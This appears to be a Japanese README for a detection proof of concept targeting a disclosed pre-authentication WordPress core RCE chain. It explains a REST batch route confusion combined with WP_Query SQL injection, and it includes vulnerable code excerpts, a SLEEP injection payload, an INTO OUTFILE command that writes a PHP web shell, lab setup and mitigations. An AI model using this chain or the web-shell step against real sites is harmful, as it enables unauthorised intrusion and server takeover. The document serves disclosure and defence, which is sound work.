
REST API バッチルート混同 + WP_Query SQLi による WordPress コアの事前認証 RCE(CVE-2026-63030 / CVE-2026-60137)。検出用 PoC。
事前認証、未認証、プラグイン不要。 標準的な WordPress インストールに対して REST API バッチエンドポイント経由で動作します。
| CVE | CVE-2026-63030(ルート混乱 → RCE)+ CVE-2026-60137(SQLi) |
| GHSA | GHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf |
| 発見者 | Adam Kues — Assetnote / Searchlight Cyber(「wp2shell」 と命名) |
| 影響を受けるバージョン | WordPress 6.9.0 – 6.9.4、7.0.0 – 7.0.1(完全な RCE チェーン)· 6.8.0 – 6.8.5(SQLi のみ) |
| パッチ適用済み | 6.8.6、6.9.5、7.0.2、7.1-beta2 |
| CVSS | 緊急(RCE チェーン)/ 中程度(SQLi 単独) |
| 研究者ブログ | https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ |
WordPress コアに存在する 2 つのバグ。連鎖させることで未認証のリモートコード実行が可能になります:
WP_Query における SQL インジェクション。author__not_in が配列ではなく文字列の場合、is_array() によるサニタイズガードがスキップされ、生の値が NOT IN (...) 句に直接展開されます。WP_REST_Server::serve_batch_request_v1() における バッチルート混乱。WP_Error のサブリクエストが $validation[] には追加されますが $matches[] には追加されないため、+1 のインデックスずれが発生します。サブリクエスト i は、サブリクエスト i+1 のハンドラでディスパッチされることになります。どちらのバグも単独では不十分です。REST API は author_exclude(type: array, items: integer)を WP_Query に到達する前にサニタイズし、バッチエンドポイントは GET サブリクエスト(enum: POST, PUT, PATCH, DELETE)を拒否するからです。二重の混乱を通じて連鎖させることで、両方の防御をバイパスし、未認証で SQLi に到達します。
src/wp-includes/class-wp-query.php(CVE-2026-60137)脆弱なコード(6.9.4):
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // string → skipped
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
author__not_in が文字列の場合、is_array() ブランチはスキップされます。(array) "payload" は ["payload"] と評価され、implode(',', ...) は生の文字列を返し、そのまま SQL に展開されます。
修正(6.9.5): 任意の入力形状を受け入れ、サニタイズされた整数リストを返す wp_parse_id_list() を使用します。
src/wp-includes/rest-api/class-wp-rest-server.php(CVE-2026-63030)// Validation loop
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// ❌ $matches[] NOT appended
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// Dispatch loop — indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // ← off-by-one after a WP_Error
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
位置 0 にある単一の WP_Error サブリクエスト(例: 不正なパス)により、後続のすべてのエントリが 1 つずつずれます。リクエスト i は、リクエスト i+1 のハンドラでディスパッチされます。
修正(6.9.5): エラーケースでも $matches[] = $single_request; を追加します。さらに、ディスパッチ実行中に rest_api_loaded() / serve_request() をショートサーキットする追加の堅牢化が行われます。
┌──────────────────────────────────────────────────────────────────────┐
│ OUTER batch (POST /wp-json/batch/v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] path = "/wp/v2/categories" → carries nested batch in body │
│ body = { "name": "x", │
│ "requests": [ INNER_BATCH ] } │
│ Validated against categories → "requests" field untouched │
│ [2] path = "/batch/v1" → batch handler → shifts onto [1] │
│ │
│ Outer shift: request[1] dispatched with request[2]'s handler = │
│ serve_batch_request_v1. The batch endpoint has NO │
│ permission_callback → fires unauthenticated. request[1]'s body │
│ was validated against the *categories* route, so the nested │
│ sub-requests were NEVER checked against the batch method enum → │
│ inner sub-requests may use GET. │
├──────────────────────────────────────────────────────────────────────┤
│ INNER batch (processed inside serve_batch_request_v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] GET /wp/v2/categories │
│ ?author_exclude=<SQLi_PAYLOAD> │
│ Validated against categories → author_exclude NOT sanitised │
│ [2] GET /wp/v2/posts → get_items handler → shifts to [1]│
│ │
│ Inner shift: inner[1] dispatched with inner[2]'s handler = │
│ WP_REST_Posts_Controller::get_items. The unsanitised string │
│ author_exclude is mapped to author__not_in and passed to │
│ WP_Query → SQL INJECTION. │
└──────────────────────────────────────────────────────────────────────┘
結果として得られる SQL フラグメントは次のとおりです:
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
SLEEP(N) は一致する投稿行ごとに 1 回実行されるため、合計遅延はおおよそ N × <公開済み投稿の数> 秒になります。
SELECT のみのインジェクション(スタッククエリなし、$wpdb は mysqli_query を使用)でも、MySQL ユーザーに FILE 権限がある場合(多くの共有ホスティングや自社管理サーバーではデフォルト)、一般的な LAMP スタックで RCE が可能になります:
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
PHP ウェブシェルをウェブルートに書き込み、/x.php でアクセス可能にします。
FILE 権限が不要な代替手段としては、UNION / ブールベース盲目的 SQLi による管理者パスワードハッシュの読み出しや、認証済みの管理者 UI を通じた悪意のあるプラグインのアップロードなどがあります。
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
PoC は 2 つの非破壊的テストを実行します:
| テスト | 手法 | 安全か? |
|---|---|---|
| ルート混乱(CVE-2026-63030) | 構造的 — 応答ボディに投稿専用フィールドが含まれるかを確認し、内部リクエスト[1](カテゴリ)が投稿ハンドラでディスパッチされることを検証 | はい |
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/
# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3
# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only
# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color
脆弱な 6.9.4 インスタンスに対する出力例:
[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
Double confusion active: outer level bypasses batch method enum,
inner level dispatches categories params with the posts handler.
[*] Time-based blind SQLi detection (SLEEP=3s)
baseline: 0.04s
payload: 9.07s (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).
遅延なし / 構造的混乱なし ⇒ パッチ適用済み(6.8.6 / 6.9.5 / 7.0.2)。
requests(pip install requests)再現する最も簡単な方法は、公式 Docker イメージを使用することです(自動アップデータにより、開示後数時間以内にほとんどの稼働中インスタンスがパッチ適用されます):
docker network create wp
docker run -d --name wp-db --network wp \
-e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
-e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
-e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
-e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
wordpress:6.9.4-php8.2
# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode weblog_title=T \
--data-urlencode user_name=admin \
--data-urlencode admin_password=adminpassword123 \
--data-urlencode admin_password2=adminpassword123 \
--data-urlencode pw_weak=1 \
--data-urlencode [email protected] \
--data-urlencode blog_public=0
python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3
INTO OUTFILE → RCE の手順では、FILE 権限を付与し、DB プロセスがウェブルートに書き込めることを確認してください(シングルサーバーの LAMP、または Docker の共有ボリューム):
GRANT FILE ON *.* TO 'wp'@'%';
WP_AUTO_UPDATE_CORE)、ほとんどの稼働中サイトはすでにパッチ適用済みです。POST /wp-json/batch/v1POST /index.php?rest_route=/batch/v1FILE 権限を剥奪します:
REVOKE FILE ON *.* FROM 'wp_user'@'%';
secure_file_priv が設定されていることを確認します(空でないこと):
secure_file_priv = /var/lib/mysql-files
| 日付 | イベント |
|---|---|
| 2026-07-17 | WordPress 6.8.6 / 6.9.5 / 7.0.2 リリース |
| 2026-07-17 | GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf 公開 |
| 2026-07-17 | Assetnote / Searchlight Cyber が「wp2shell」アドバイザリ + https://wp2shell.com チェッカーを公開 |
src/wp-includes/class-wp-query.phpsrc/wp-includes/rest-api.phpsrc/wp-includes/rest-api/class-wp-rest-server.phpこのリポジトリには検出 PoC のみが含まれています — 時間ベース盲目的 SQLi と構造的レスポンス検査を使用します。データの抽出、ファイルの書き込み、RCE の試行は行いません。この脆弱性は、このコードが公開される前に WordPress と元の研究者によってすでにパッチ適用され、公開開示されています。
自分が所有している、またはテストを許可されているシステムに対してのみ使用してください。
MIT — LICENSE を参照。
| SQLi(CVE-2026-60137) | 時間ベース盲目的 — author_exclude 経由で SLEEP(N) を注入し、良性のベースラインとレイテンシを比較 | はい |